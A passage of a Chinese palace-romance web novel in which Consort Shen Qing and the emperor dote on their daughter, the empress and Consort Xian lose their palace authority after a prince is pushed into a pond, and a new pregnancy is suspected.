皇后对此事自然有印象,伴读之一还是她萧家的子侄,萧家在前朝不强势,她自然想为萧家的下一辈铺一条青云路。 皇后不说话了,只继续对死去的李嫔磨牙。 她內心已经将李嫔妖魔化了,只覺得李嫔算计到她名声尽毁就是为了讓她的皇儿与她離心。 呆在坤宁宫这么些时日,沈青很想纪宸与小满。 加上她有点受不了继续呆在皇后身邊,迫切需要吸点阳气,在皇后没什么大问题后她便回了承乾宫。 而青古也在转好,但她的伤势更重,卧床的时间也需要更久。 看过青古的当日下午,沈青去了趟乾清宫。 去的时候小满正在睡覺,冰鉴放在不远处,有宫人正在慢慢扇风,小满睡的很熟,脑门也没有出汗。 正在沈青默默看小满时,一只手臂环住了她的腰。 她看得入迷,竟不知纪宸什么时候出现在了她身后。 沈青将手放在纪宸握住她腰的那只手上,微微侧脸,双眸晶亮地看向纪宸。 她目光掃过纪宸的眉骨与深邃的眼睛,滑过他高挺的鼻梁,最后定在那双薄唇上。 “我们出去。”纪宸垂眸看向她,低声道。 沈青点了点头,唇角不禁翘起。 纪宸牵着沈青到另一间房间,这间屋子略小,唯一值得称道的是那张大床,但沈青看到了一些她用过的东西与摆在屏风一侧的铜镜与妆奁。 在纪宸没开口之前,沈青便道:“我好想你。” 纪宸不满意道:“那为什么这么久不来找我?” 沈青目光微移:“嗯……陛下的嘴唇好像很好亲,讓臣妾来尝尝。” 都老夫老妻了,说这些话她自然不会脸紅心跳,她还能主动吻上去呢。 纪宸靠在了床上,扶住沈青的腰,沈青则扑在他怀里,像小貓一样舔他的唇。 纪宸喉咙干渴,眸光变柔,難耐地享受着这勾人的滋味。 沈青即便主动,动作也很輕,清风细雨地滋润着他。 纪宸自是不满足,他心尖泛痒,但沈青的一番亲近却像隔着罩子挠着他的心。 纪宸忍了又忍,实在受不了了,这才变被动为主动,扶住沈青的后脑勺,一点点坐起来,亲吻也随着动作在逐步加深。 沈青早已闭上了眼,手指插进纪宸的发丝中,輕轻地摩擦着。 像在鼓励,也像在诉说着思念。 纪宸呼吸加重,一点点的往下亲。 沈青睫羽颤了颤,睁开眼垂眸瞧了他一眼,便什么都不管了。 温馨的室內,男子不厌其烦地唤着卿卿,女子脸上潮紅,面色难耐,推着他的脸颊,最后低低地吐出一声:“太讨厌你了。” 纪宸低笑一声:“卿卿讨厌的对。” 便执起沈青的手放在唇邊亲了亲。 沈青瞧着他的模样,此时的纪宸帶上了一两分妖冶,眸光更深邃温柔,但看着还是很正经,气势不减,但偏偏这般,她却有了怦然心动的感觉。 不过一些时日未温存,她便想纪宸想的不行。 如今腻在一起,也真感受到了爽利,不止是身体,更是精神层面的通畅。 好比纪宸的面颊有着汗,她的脖颈有一层湿汗,但他们仍互不嫌弃地腻歪在一起,只是静静地脸贴脸,交颈相依,便感觉很好。 沈青窝在纪宸怀里睡了一觉。 睡醒后,她就不在原来的屋内了,而是在寝宫的龙榻上,她身上干爽,被纪宸换了件银白色的寝衣。 而小满竟也被他抱在了她身边,圈在两人中间小憩着。 沈青看了一眼天色,已经很晚了。 纪宸感受到动静睁开眼,压低声音未免吵醒小满道:“小满已经醒过一回了,朕帶她去用了膳,又玩儿了一会儿这才睡下。” “你现在应该饿了,朕帶你去用膳。” 沈青笑着点了点头,轻手轻脚地起身。 然而在下床榻的那一下,小满忽然嘟囔了一句,小手挥舞了两下。 沈青还没来得及哄一哄小满,便见纪宸娴熟地拍着小满的背,小满蹭了蹭肥嘟嘟的脸颊,便又沉沉睡去。 纪宸一回头,便对上了沈青亮晶晶的眼眸。 她不觉得他这样有失威严,反而被他所折服。 纪宸这样想着,唇角情不自禁勾起。 沈青笑嘻嘻牵上纪宸的手,去用膳。 她是真没想到纪宸照顧小满的能力如此娴熟,好似小满呆在乾清宫这些日子是纪宸一手照料的。 有这样的父皇,她相信她的小满会是最幸福的公主。 用过膳后,沈青和纪宸又在寝殿外呆了一会儿才回去。 翌日,纪宸睁开眼便见到沈青和小满,只觉得心脏都被填满了。 他喜欢这种平淡的日常,一睁眼就能见到爱的两个人。 小满蹬了蹬腿,是第二个醒来的,她瞧一瞧母妃,又瞧一瞧父皇,捂住嘴偷偷笑起来。 纪宸怕小满打搅沈青睡觉,去上早朝时便顺手将小满一起带走了。 直至回来才将小满塞到沈青身边。 他想沈青一醒来也能感到幸福。 小满已经完全不困了,亲了亲母妃的脸颊后,便自己在床上玩儿了起来,有纪宸在床边挡着,她也不会掉下来。 小满在太阳完全升起时钻进了沈青怀里,半梦半醒的沈青拍了拍她的屁股,睁开惺忪的眼睛,抱着小满笑容惬意地亲了亲纪宸的唇角。 眼中全是对小满发现不了亲昵的自得。 【可怜可爱。】 好喜爱啊。 沈青自动翻译了一下,脸上飞起一抹红霞,嬌嗔了他一眼,撒嬌道:“皇上不去批奏折吗?” 纪宸依依不舍道:“这就去。” 纪宸在沈青催促着奋进的目光中离开,沈青与小满也起身了。 小满对新的住处很满意,带着沈青去看她的新玩伴,一只叫大虎的大貓! 沈青一心扑在小满身上,对这只猫已经几个月没见了,大虎较之前痴肥了许多,但专養猫的宫人懂得克制,即便大虎被娇惯養着,也没有健康问题,胖也没胖到严重的地步,反而平添了几分气势与可爱。 在乾清宫养久了,便是猫也沾染了几分贵气。 大虎平常对其他人爱答不理的,傲气的很,但许是知道小满的地位,对小满喵喵叫的直欢,撒娇卖萌件件不落,翻着肚皮让小满来摸。 见到沈青,反而给了个屁股,尾巴一掃一扫的,颇有负心汉来了那意思。 沈青摸了摸鼻子,心虚不已,忙陪大虎玩儿了一会儿。 大虎这才给了个好脸,口嫌体直的很,继续给小满当个合格的玩伴。 沈青见此笑了笑,猫养久了也是有灵性的。 沈青带着小满又在乾清宫待了半日,这才回承乾宫,临走前,小满瘪着嘴,很不情愿,窝在沈青怀里好不委屈。 沈青无奈地看了纪宸一眼。 纪宸轻咳一声,自是跟着一起去了承乾宫。 他的政事,一上午便处理妥当了,为的便是这一刻,而小满,也极给面子,不愧是他的小公主。 最后沈青连大虎都没敢忘,一起带走了,颇有拖家带口的架势。 青古的身体一日日地好起来,只是此后再不能提重物,身体也较普通人虚弱,沈青给她在宫外购置了房屋,买了丫鬟,又拖沈家 暗中照顧青古一二。 这才放心将青古送出宫去。 青古离宫这日,除了沈青,青玉与萱草也来相送了,因皇后对外称病,并未前来,但也让青玉给青古带了一包袱的金银珠宝。 皇后自然想留青古在身边,奈何当日皇上当众说下封青古为县主的话,金口玉言,再难收回成命,便心情忐忑地就这么放青古离开。 青古知道她所有阴私,皇后回过神自是忌惮,却只能寄希望于这些常人几辈子难挣到的银钱来封青古的口。 青古自然是忠心的,便是对沈青,也没有出口保证什么若想扳倒皇后,找她云云…… 主仆情分是很难说清的事。 而沈青自帮青古起,就没想过青古会背叛皇后来帮她,这无疑是对青古的侮辱,自然没什么好落差的。 青古深深看了一眼沈青,她如何能想到当初一起当值的小姑娘会是将她拉出泥潭的人? 在宫门口她不顾劝阻地朝沈青行了叩拜大礼,这才一步三回头地登上马车离开。 一件事了去,沈青心里一阵轻松。 她虽然不能出宫,但有人代她出宫也是极好的。 青玉目光怅惘地望着青古的马车直至看不见,接着回神,在沈青准备离开时,深思熟虑道:“贵妃娘娘,我会为您盯着后宫,若有不利于承乾宫的事,我会给您递消息。” 青玉是女官,级别还很高,自然不用自称奴婢。 沈青恍然,青玉与青古的关系极好,有此等承诺,也不让人意外。 她感慨道:“多谢。” 萱草全当没听见二人的对话,垂眸当个聋子,只是不知怎么地,眼眶湿湿的。 宸贵妃有空不去结交家世好的姐妹,反而对她们这一个两个的旧人伸手。 真是不知道让人说什么好。 第117章 第117章宸贵妃十一日 现在距离刺杀一事已经过去了三个月,皇后一直称病,乾清宫不见任何动静。 在众人都以为皇上会将此时轻轻揭过时,乾清宫的奴才去坤宁宫取回了皇后印玺与册宝。 雖皇后仍是皇后,并未下废后的圣旨,但意味已经完全不同,皇后失了宫權,只剩一个虚名在身。 贤妃与兰妃仍协理六宫事宜,但两人在后宫的声勢瞬间高涨,一时间长春宫与景阳宫门庭若市,贤妃出现时必是前呼后拥,众星捧月。 贤妃的气焰一下子就嚣張了起来。 她与兰妃不同,她膝下有子,又有太后皇上做靠山,春风得意再正常不过了,本来早已熄了心思又有点死灰复燃的征兆。 三皇子被送出宫,大皇子的母后失了勢,宸貴妃无子,这么一看,如今就她与二皇子最得勢了。 长春宫中,贤妃讓人将二皇子帶来。 贤妃捧着纪瑉的脸左看右看,发现长的也是气宇轩昂,归根到底,皇嗣就没有差到拿不出手的。 无论内在怎样,但个个站在那儿都很唬人。 因宫人无人敢忤逆二皇子,纪瑉是盛气凌人的,加上大皇子时常照拂他,纪瑉可以说没吃到一点苦楚,姿态骄矜。 但落在贤妃眼里,便是气势凛然,好好培养培养未必会比大皇子与三皇子差。 贤妃笑道:“皇儿,你日后比大皇子还要尊貴几分。” 纪瑉:“那我是不是想幹什么就能幹什么?” “这是自然,只要不闹到你父皇面前。” 除此之外,她什么都能摆平:“但也不要再欺负宫人了,你父皇讨厌这一点。” 从前贤妃没管过此事,因为纪珉年纪小,手劲儿也不大,折磨人的手段也不多,一句小孩子的玩闹就能揭过。 但贤妃不想纪珉因此事而坏了在皇上面前的印象,便多教导了一句。 纪珉闻言不乐意,这算什么为所欲为? 但他比大哥都尊貴,那大哥得听他的话! 承乾宫中,兰妃登门。 沈青请她坐下,讓宫人上茶。 “兰妃眉头不展,可是有什么难事?” 兰妃顿了顿,还是直截了当道:“娘娘,皇上这是什么意思?” 这么多年,兰妃仍学不会迂回,但她这样有事说事,也省得旁人来猜她的心思。 宫中近来只发生了一件事,雖然兰妃没有点明,但沈青也知道她在担忧什么。 沈青道:“皇上讓你协理六宫,是信任你的能力,好好干便是,若有为难的,便与贤妃商量,仍解决不了的再去问皇上。” “你与陈貴嬪入宫多年,深宫寂寥,有權柄傍身也可安稳度日,本宫瞧着,自你协理六宫,整个人都疏朗了不少,可见權力是有益的。” “皇上既然给,抓住便是,但万万不可被诱惑犯了大錯。” 皇后对李嬪下手,中间必经过了许多人,李嬪曾猜忌过,太醫得了皇后授意,才什么都查不出,但李嫔后来都吐黑血了,若这样还说没有问题,太醫不如收拾包袱回家吧。 由此可见,皇后的權柄过重,連太医院都敢插手了。 纪宸若放任下去,恐怕睡都睡不安稳了。 兰妃与她交好,沈青自然乐意告诉她什么该插手,什么不该插手。 归根到底,现在皇上需要一个合格的管理后宫的人,而不是稍不注意就有被顛覆的危险。 沈青很看好兰妃:“你性子稳重,本宫心里没什么可担心的。” “只唯独陈贵嫔倒像是我们故意落下她似的,她虽心如明月,通情达理,不会因此事产生妒恨,但也不能让她闲下来,你多找她出出主意,也免得她在自己宫里闷坏了。” “本宫也会让她多来承乾宫,小满很喜欢你们二人。” 兰妃一一记下,点了点头:“臣妾知道了,陈贵嫔那里是臣妾疏忽了。” 她这三个月来她与陈贵嫔在一起的时候确实不如往日了。 她还没注意到,宸贵妃便意识到了此事。 也怨不得宫里人会说宸贵妃聪慧通透,实在是将方方面面都考虑到了。 兰妃在承乾宫又留了一会儿,小满被抱了出来,兰妃将小满抱在腿上逗弄了一会儿,这才离开。 兰妃离开后,沈青接过小满,皇上夺皇后的权,她虽意外,但事后想想,未必没有苗头。 皇后遇刺,皇上可一次都没去过坤宁宫,可见那时心里便不痛快了。 却一直等着她将青古安顿好,这才发作起来。 但皇后即便失权,只要她活着一日,她便仍是皇后,贤妃在她面前也得恭恭敬敬。 且皇上虽夺了皇后的权利,但身为皇后的人的青玉,却在好好的当女官。 有青玉在,宫内想欺负到皇后头上也难。 自也免了沈青再多费心思。 沈青能对青古都仁至义尽,自然不会眼睁睁看着皇后真正落魄。 如今这个處罚,沈青思来想去对谁都好,便没有为皇后去求情,纪宸到承乾宫,她也只字不提这些事。 她无意争宫权,争来争去不过是这一亩三分地,做的好是理所应当,做不好就是失职。 她已经是贵妃了,宫内的任何好东西都会紧着她来,协理六宫附帶的好處,对她来说真是微不足道。 没有好處的事,即便她能处理好宫务,也不愿碰这桩麻烦事。 比起独揽宫权,她觉得还不如将这宫权分一分,让兰妃陈贵嫔也能受益。 不能与她交好什么好处也得不到啊,她看不上宫权帶来的好处,对于其他人却是大补之物。 兰妃和陈贵嫔自然得多补补才好,她方才夸兰妃疏朗也不是假话。 由此可见,她这个想法没錯。 又两个月从指尖划过。 贤妃与兰妃协理六宫,两人的气场已经分明,一个張扬一个沉稳。 沈青呆在承乾宫,最喜欢干的事就是吸小满,小满比猫还好吸,一本正经童言稚语的样子简直把她萌坏了。 小满使个小短腿在跑,沈青在后面虚张声势地追,实则連动都没动。 小满跑的直乐,迎面撞上了一个高大的人。 “父皇!” 纪宸将碰到他腿上的小满抱 起来,顛了颠:“母妃在忙吗?” 小满摇头晃脑:“母妃在陪小满玩。” 沈青听到动静已经走了出来,笑道:“小满正是活泼好动的时候,皇上忙了一早上,快进殿歇一歇,臣妾让人备膳。” 纪宸却道:“许久未和璨儿一起用膳,陪着朕去璨儿住的地方走一趟吧。” 沈青应好。 纪璨满七岁就从坤宁宫搬出来了,贤妃一见纪璨有了宫殿,忙将二皇子纪珉也放到纪璨附近的殿宇。 贤妃协理六宫,先斩后奏,纪宸也拿她没法,自是如愿了。 纪宸也将小满一起抱去了。 他们到纪璨的殿宇时,只见本应到主子用膳的时候,殿内却没几个人,一问宫人,却见他们吞吞吐吐,神色很不自然。 沈青看纪宸没有丝毫意外之色,明白他早知此事,恐是纪璨受欺负了,他特意做主来了。 只是不知道哪个倒霉蛋直直撞了上去。 沈青面上一冷:“吞吞吐吐,大皇子在何处?带本宫去找大皇子!” 宫人连忙起身,领着众人去找大皇子,却是往殿外的方向走。 纪宸将小满放下,牵着小满的手随沈青一起走。 纪璨的宫殿外面有一处小池塘,宫人带着他们绕了小路,眼前豁然开朗。 正见一群人三三两两立在池边。 钱继一个手势止了准备通报的宫人,池边的人也因背对着他们而没发现他们的存在。 是纪璨与纪珉,现在他们各自带着宫人分两边而立。 纪珉面上嚣张,纪璨却带着隐忍。 沈青不悦地抿唇,纪璨之前相当照拂纪珉,如今大皇子一失势,什么兄弟情都没有了,最迫不及待踩上去的竟然是二皇子。 这个小兔崽子! 但好在,纪璨身边有宫人,不会受罪,不过被弟弟背叛,纪璨心里应该十分不好受。 然而,变故却发生在他们出现的这一刻,不知二皇子身边的人对二皇子说了什么,本该对峙的两拨人,二皇子却忽然像牛犊一样扑向纪璨。 纪璨身后,是蓄满水,甚至有鱼在游的池塘! 不至于淹死一个大人,但对七岁的小孩来说却有生命危险。 纪璨毫无防范被这一撞,身体不受控制往后跌去,只来得及拉住纪珉的腰带。 宫人反应过来时,两名皇子均已落水了。 纪宸冷声道:“将大皇子与二皇子捞起来。” 宫人这才发现皇上不知道什么时候来了,一半已经跪下,一半准备下水发现皇上派身边的侍卫下水去救皇子,也忙跪下。 他们没敢瞧皇上一眼,便能感受到皇上散发的飕飕寒气。 侍奉两名皇子的宫人心中叫苦不已,却一动都不敢动。 方才与二皇子耳语的人更是身子抖的不成样子。 纪宸随手一指:“将这个教唆皇子的人拉下去,杖杀。” 钱继轻声道:“皇上,这是方大人家的公子。” “方文成教子不当,将方文成贬官岭南。” 钱继噤声,方文成是新起之秀,如今才四十岁儿子就能进宫当伴读,也被皇上记住了名字,可见前程远大,然而教出了一个敢插手挑唆皇子间关系的儿子,便断送了前程。 可见皇上眼中是揉不得沙子的。 不多时,大皇子与二皇子被救起,太医到了,贤妃也到了。 在纪璨的殿里,贤妃刚整了整头饰进来,脚下便被摔了一个茶盏,温热的茶水泼到了她的裙摆上。 她吓了一跳,见是纪宸,更是不可思议。 皇上拍桌子都少有,更别说摔盏了,可见是怒极了。 果然,纪宸下一句便是:“贤妃娘娘好风光。” 沈青的目光落到贤妃身上,只见她衣着华贵,满头珠翠,光是站在那儿都夺目耀眼。 也顿时明白了过来。 皇后倒下,纪宸试了两个月,将贤妃这块不被点化的石头给试了出来。 明着是给皇子做主,实则是纪宸不满贤妃了。 沈青之前没意识到,是贤妃行事一贯不低调,往乾清宫去的同样勤,仗着皇上是表哥,在后宫横行无忌久了。 如今有了一半宫权,不张狂才不像她。 沈青将小满捞到自己身前,捂住眼。 小满人小鬼大,一点都不怕这个场面。 贤妃听到纪宸这句话,脸上一白,连忙跪下,哀哀道:“皇上……” 纪宸平铺直叙:“纪珉将纪璨推入了池中。” 贤妃忙顺着请罪:“是臣妾管教不严,请皇上治罪。” 纪宸定定地看着她,良久道:“是朕不该让你协理六宫。” 贤妃的眼睛瞬间睁大,对她而言,最伤人的莫过于这句话了。 因小满在身边,纪宸并没有愤怒的像头狮子,但字字难掩失望:“朕将协理六宫的职责交给你,也想过你会不堪重任,但看在你养育二皇子有功,又看在太后的面子上,从前你做的错事朕既往不咎,仍是敲定了你,想让你在宫中时间一久不至于受欺负。” “可你呢?” “疏于教导二皇子,将朕的意思抛掷脑后,只按照自己的心意行事,只想耍自己的娘娘威风,你可尽到半点协理六宫的职责?” 第118章 第118章宸贵妃十二日 “臣妾……”贤妃目露委屈与難堪,尤其是凤曦公主还在垫着脚尖张望着她,这更讓她臉上火辣辣的。 她只想尽快摆脱这一處境,想到皇上这么多怨念全因二皇子将大皇子推入水中而起,便急忙脱口而出道: “二皇子不是臣妾親生的,他的性子打娘胎便定了,随了何才人,不,是何贵嫔,臣妾想正了他的性子也百般艰難啊!” “皇上,待二皇子醒了,臣妾就带二皇子向大皇子赔罪,一定祈求到大皇子的原谅!” 沈青微皱了下眉,贤妃情急之下,竟然走了这么臭的一步棋。 二皇子再怎么说也是皇子,论尊贵不比贤妃这个妃子差,而贤妃却言辞凿凿将事情归咎到二皇子品性不端上,将自己摘的一干二净。 二皇子可还留着皇室血脉呢,怎么都不会沦落到由他人指摘的份上。 果然,沈青看向纪宸,纪宸在贤妃话一出口便黑了臉。 方才是恨铁不成钢,现在就是全然嫌弃了。 【贤妃姓颜……再不喜贤妃,朕也得顾全太后的颜面。】 【与其再放一个不知底细的颜家人在后宫,还不如一直留着贤妃。】 纪宸瞥了一眼贤妃:“既然你如此嫌弃二皇子,朕会为二皇子再择一位母妃。” 接着不再去她,转而吩咐道:“贤妃不堪重任,即日起收回協理六宫之权,将贤妃送回长春宫,閉门思过。” 贤妃闻言心里一哽,后知后觉才发现自己说错话了,实在是昏了头了。 她没想到自己会这般潦草丢了宫权,简直比起皇后都不如。 她磨刀霍霍,还未能向皇后下手呢! 这几个月的时间像梦一般,她体会到了众星捧月的滋味,感受到了宫权带来的好處,自然不想就这么放手。 贤妃做最后挣扎,苍白解释道:“臣妾没有……” 纪宸不耐烦听她再说,扫了錢繼一眼。 錢繼忙半是客气,半是强制地将贤妃请离了这里。 沈青默默琢磨起纪宸话里的意思,纪宸只说讓贤妃閉门思过,却没说多长时间,这意味着除非贤妃真正认识到错處,得到纪宸首肯,否则短时间内是无法出长春宫的。 至于贤妃犯错,却仍是妃位,也很好理解。 除了她姓颜,皇上不想再与太后发生争端,贤妃最大的错不外乎是管教不力,推脱罪责。 而纪宸不滿意贤妃对处理宫务上的不尽心这一点,严格来说并不算贤妃的罪责。 至少在贤妃犯大错之前,纪宸就及时收回了贤妃的協理六宫之权。 沈青原本还想着,许是等贤妃犯下大错,才会将她一撸到底。 没想到纪宸到底是顾及了与贤妃的一些情分。 纪宸握住沈青的手,郁闷道:“朕原本想着给贤妃宫权,讓她忙起来后宫就不会再生波澜,但没想到她这么不中用,宫务一团糟不说,连二皇子也没管教好。” 这两个月他对贤妃的不滿日益增加,最后借着二皇子的事处置了她。 但他没神通广大到提前知道二皇子会将大皇子推入水中。 可见这两个月二皇子已经无法无天了。 沈青闻言不太高兴,冒着酸气将纪宸的手拉开,阴阳怪气道:“您为贤妃考虑的可真周到。” 贤妃这样不成器,还有害皇后的往事在,纪宸分宫权时还是想到了她。 明知贤妃有狠毒的一面,给的理由竟然是让她忙起来就不会横生波澜了。 思忖着贤妃再协理六宫会犯下大错,所以提前借机收回贤妃的宫权。 若德妃与皇后得纪宸这样对待,也不会败的那样惨烈了。 沈青有一瞬间,真为德 妃与皇后鸣不平。 沈青不待纪宸反應,补了一句:“做皇上的宠妃,还不如做皇上的表妹来得香。” “小滿,母妃带你去看皇兄。” 说完,沈青就温温柔柔牵着小滿去看纪璨了。 纪宸一愣,完全没反應过来,等想让她摸着心口好好说道说道他待她哪里不如什么表妹好时,却见人已经施施然走了,徒留他怔愣在原地。 纪宸扫了一眼,他目光所过之处,宫人无不屏气凝神。 他轻咳一声,往沈青离开的方向走去。 纪璨入水时知道屏气,救的也及时,没什么大碍,只是浑身湿漉漉的,现在又已入秋,为了防止着凉,已经让他泡过热汤池,又喝了碗姜汤。 现在正在床上躺着。 至于纪瑉,因是自食恶果被意外拉下去,惊慌失措下,反而呛了不少水,虽无生命危险,但罪却没少受。 纪宸也懒得见他,派了个王定去看着。 纪宸进去时,沈青正在过问纪璨的身体。 纪璨一一答着,性子沉静了许多。 可见纪瑉的事于他很有影响,他不明白他明明真心实意待二弟,二弟却踩了他一脚。 每位皇子身边都有纪宸的人,就连离宫的三皇子也不例外,所以纪宸深知皇子们没有受底下人的苛待。 然兄弟相争却不可避免。 从前贤妃将二皇子夸的天花乱坠,纪宸也对纪珉有了个较好的印象,只觉得他于课业上没天赋,但没想到,最兄友弟恭的兄弟俩反而最先离心。 纪宸知道是纪珉的原因,对纪珉自然倍感失望。 纪宸在沈青的话落后,对纪璨道:“你本该明年开始学武,既出了这事,你身体养好后朕便宣武师傅进宫。” 纪璨称是。 从纪璨的住处离开,纪宸握住沈青的手腕,用手指勾了勾她的手,面上一派淡定。 沈青觑了他一眼:“二皇子那里还去吗?” “有王定在,他会处理好这件事。” 两人回承乾宫,因手腕被握着,沈青自是甩不开他,便侧着脸,脸上连浅淡的笑意都没有。 沈青这样,纪宸也不敢笑了,生怕她更恼。 小满被宫人抱着,看向贴得极近,却不说话的父皇母妃,不由困惑地眨了眨眼睛。 回到承乾宫,用过膳后,小满便困了。 纪宸让人将小满抱下去,将沈青困到床头,直白问道:“朕待爱妃不好吗?” 【小没良心的。】 他白疼宠她了。 沈青撇过脸:“可你待别人也好。” 纪宸的心酸酸甜甜:“朕冤枉。” 他从没想到这个词会从他嘴里蹦出来。 沈青看向他,脸上是显而易见的郁气,长长的睫毛扫出眼底的阴影,唇珠不满地往上微微翘起。 看着很好親,纪宸想。 “皇上难道没为贤妃周全?”沈青差一点因为他的心声没稳住,克制着没特意去抿唇。 纪宸眼中透着三分委屈:“朕若真心为她打算,就不会给了协理六宫之权,又收回来,宫廷优秀的女官不少,贤妃再无能,也可以不出大错管理好后宫。” 沈青垂眸:“合着皇上给了协理六宫之权还给错了不成?” 她略过了纪宸主动将贤妃的宫权收回来一事,纪宸清楚这一点,顺着她的意思道: “自然没错,妃位上只余贤妃与兰妃,且两人早早入宫,资历深厚,朕分宫权无论如何都不会越过她们去,以免寒了后宫嫔妃的心。” 沈青狐疑地看向他:“但皇上方才还说给贤妃宫权是为了不让她在后宫搅弄风云,如今却又这样说,臣妾糊涂。” 纪宸道:“因为朕与贤妃的情分有一些,看在太后的面子上朕也不会折了贤妃的面子,但绝不是因为什么表哥表妹,贤妃在朕面前不会叫朕表哥,朕也从未喚她为表妹,该是什么就是什么。” “没道理进宫为妃,享受了宫里的荣华富贵,又来和朕攀親戚关系。” “若人人都是这样,乾清宫的地砖该被宗亲踏薄了。” “比起表哥表妹,多的是关系比贤妃更近的皇亲贵戚。” 沈青是信纪宸的话,但她忍不住反问道:“你们私底下真的没有表哥……表妹这样来着?” “爱妃可以传钱继,一问便知。” 纪宸握着沈青的手:“但在卿卿身上,这些都可以有。” 沈青轻哼了一声:“臣妾才不要皇上是臣妾的表哥。” 纪宸疑惑问:“为何?” “血缘关系太近,生出的孩子少有健康的。”沈青补充道,“这是臣妾从市井中观察到的,也不知道真不真。” 纪宸记下,准备回头让户部查一查。 忽然,纪宸不知想到了什么,面上一肃。 沈青眼中先是茫然,而后紧张问:“怎么了?” 纪宸这样,说不定是前朝出了事。 纪宸緩緩道:“按照朕与青青的年龄,青青合该喚朕一声哥哥。” 他在郑重其事的思考这件事。 沈青:“……” 沈青久违地锤了他胸口一下,不过想想,她确实没有对纪宸有什么爱称。 实在是纪宸是皇帝,她随意唤他,有点失了体统。 纪宸期待地看向她。 沈青眼睛一闭,知道如果她不应,纪宸必连着几日鬧她,逼她说出口。 长痛不如短痛,沈青极难启齿,声音低低道:“皇上……哥哥?” 纪宸笑着反复亲了亲沈青的唇,墨黑的眼中全是笑意:“再唤一声。” 沈青不知道怎么就成了如今这副局面。 归根到底,是她鬧脾气的心不坚定,被纪宸三言两语就给带偏了。 沈青进退维谷,企图逃离这种场景,都老夫老妻了,纪宸这是做什么? 沈青有些羞赧:“小满那里……” 纪宸截断她的话,饶有耐心道:“小满刚睡下,朕与卿卿的时间还很长。” 他顿了顿:“现在不叫,等会儿就不得不叫了。” 第119章 第119章皇贵妃一日 沈青要被纪宸给气死了,恶狠狠咬了他两口才解气,末了她看着纪宸唇角溢出的小血珠,有些心虚,讨好地舔进了嘴里。 她捧着纪宸的臉,终究是如纪宸所願。 只是声音仍旧小。 但仅是这样,纪宸就很满足激动,如饮了酒一般,竟有几分醉意。 他着迷地望着沈青,俯身,将那点声音压碎在两人唇间。 沈青将手放在纪宸的肩膀上,纪宸则将双手放到了沈青的腰窝處,身体前倾,追逐着沈青的唇角。 两人间的气氛早已臉红心跳起来。 七年之痒对两人来说一点都不存在似的,有的只是更相知相熟,他们仅是一个眼神就知道对方要做什么。 这么多年来,更是始终如一的契合。 …… “朕的好东西全给你了,这样还说朕不好,朕都要委屈死了。” 沈青眼中蓄着雾气,他们早滚到床里了,听到这句荤话,她气的又锤了纪宸两下。 今天被锤的次数比之前几个月都多,但纪宸却非常高興,当下便发了狠了,忘了情了。 今天早上还是天朗气清,万里无云,下午便乌云密布,毫无征兆地下起雨来。 外面下大雨,殿内下小雨- 雨是晚上才停的,小满醒来后见还下着雨,便乖乖地听着嬷嬷的话没去找父皇母妃,自己玩起来。 等到了用膳的时候,她才被抱去母妃身邊。 小满惊奇地发现,本来还奇怪闹脾气的两个人,又好成了一个人似的,只不过两人的衣裳都换了个遍,母妃唇上的口脂也没了。 沈青摸了摸小满的臉,温柔道:“小满下午玩儿了什么?” 小满像小狗一样嗅了嗅母妃身上干净的淡淡熏香气,每回父皇和母妃呆久后,不用熏香的母妃也会讓人在屋内点上香。 她一邊分神,一边回答着母妃的问题。 纪宸凑近,静静听着,听完便将小满抱起来,抛在了空中。 小满喜欢这样突然的举动,室内响起她清脆的笑声。 沈青笑着看向 父女俩。 这一刻,连时光都是温柔的,烛光青睐般的洒在三人身上。 从賢妃手里收回的协理六宫之权,纪宸几日后将它送去了景仁宫,楚昭容手里,而楚昭容也被封妃,成为楚妃。 至于二皇子的去處仍未定下,纪宸左思右想纪珉已经不小了,又搬进了皇子们的宫殿,便未给他择母妃。 这也意味着二皇子是没有外家可依的,何家在前朝官职小,纵然想给二皇子做倚仗,也没有那个力量。 而太后与賢妃的颜家,自纪宸将二皇子与贤妃划清界限那一刻,他就不会允許颜家成为二皇子的支撑。 若颜家想伸手,他不介意剁了颜家。 好在,颜家暂且是安分守己的。 十月,趁着天气还未真正冷下来。 纪宸带沈青和小满出了次宫,不过这次他们没去沈家,而是微服去了国寺。 “这座寺庙祈福求签最灵验了。” 因太后信佛,京中的寺庙香火都很旺盛,国寺自也不例外。 “陛下不是不信不些吗?”沈青有些疑惑。 比起太后信佛是为了淡化年轻时犯下的杀孽,而纪宸作为太后的儿子,又登基为帝,自然在这一方面更胜一筹,但与太后不同,纪宸不信这些。 他理所当然地覺得他杀的是该杀之人,诛的是当诛之人,又身为皇帝,怎会有罪?既无罪,又何必请神佛赦免? 沈青也不信这些,虽然她想起了前世的记忆,但更相信事在人为。 纪宸牵着沈青的手:“一辈子太短暂,朕想与你有来世。” 沈青看向纪宸,她没想到纪宸说起情话也这么信手拈来,她被取悦到了,唇角勾起。 她道:“那臣妾便为陛下与小满求个福寿康宁,臣妾的眼界窄,願这一辈子陛下头发花白还能与臣妾一起看着成群的孩子从远处跑来,他们皇祖父皇祖母的唤着咱们。” “一定会。”纪宸的声音格外笃定。 沈青笑出声,小满抱住沈青的腿:“小满也要和父皇母妃一起变老,不許落下小满。” 沈青将她抱起,重重地点了点头。 即便纪宸是微服到国寺,但他们到时,寺里的人并不多。 他们格外虔诚地抽了签,祈了福。 沈青拾起签文,是上上签。 本就美妙的心情更好了。 回宫后,又几日,太医来请平安脈。 沈青看到太医面色微凝,把脈的手迟迟不抬起,便问:“本宫这是怎么了?但说无妨。” “微臣学艺不精……娘娘这个脉像是滑脉,但月份太小,微臣也不敢断言。” 经过假孕一事,太医对待宸贵妃自然谨慎到了极点:“不过微臣对此有七分把握,娘娘若求稳妥,不如再宣太医前来把脈。” 沈青的手不自觉的握起,又懷孕了吗? 在小满月份还小时,他们并不着急再次有孕,便故技重施,不过这几个月倒确实没做任何措施。 但他俩不是一懷一个准的人,早做好了顺其自然的准备。 没想到是此时懷上了。 那也就是说他们去寺里祈福时其实是一家四口。 沈青倍感奇妙,将手轻轻放到看不出什么的腹部。 “不急,几日后再来请一次平安脉吧,有了十足的把握再说,免得皇上空欢喜一场。” 太医称是,从白桃处领了賞银。 虽然沈青这么对太医说,但她隐隐感覺她就是怀了,所以之后几日她都没讓纪宸碰到。 惹得纪宸一脸鬼气地看向她,郁闷极了,反观沈青,却是滋润的不得了,红光满面,一看心情就很好。 等太医再来请脉时,纪宸也在,他快语道:“快给贵妃看看身体。” 大好的年纪,怎么会不热衷那事? 不会是身体出问题了吧? 一想到这种可能,纪宸就愁容满面。 太医连忙上前为沈青诊脉,沈青饶有興趣地偷觑了纪宸一眼。 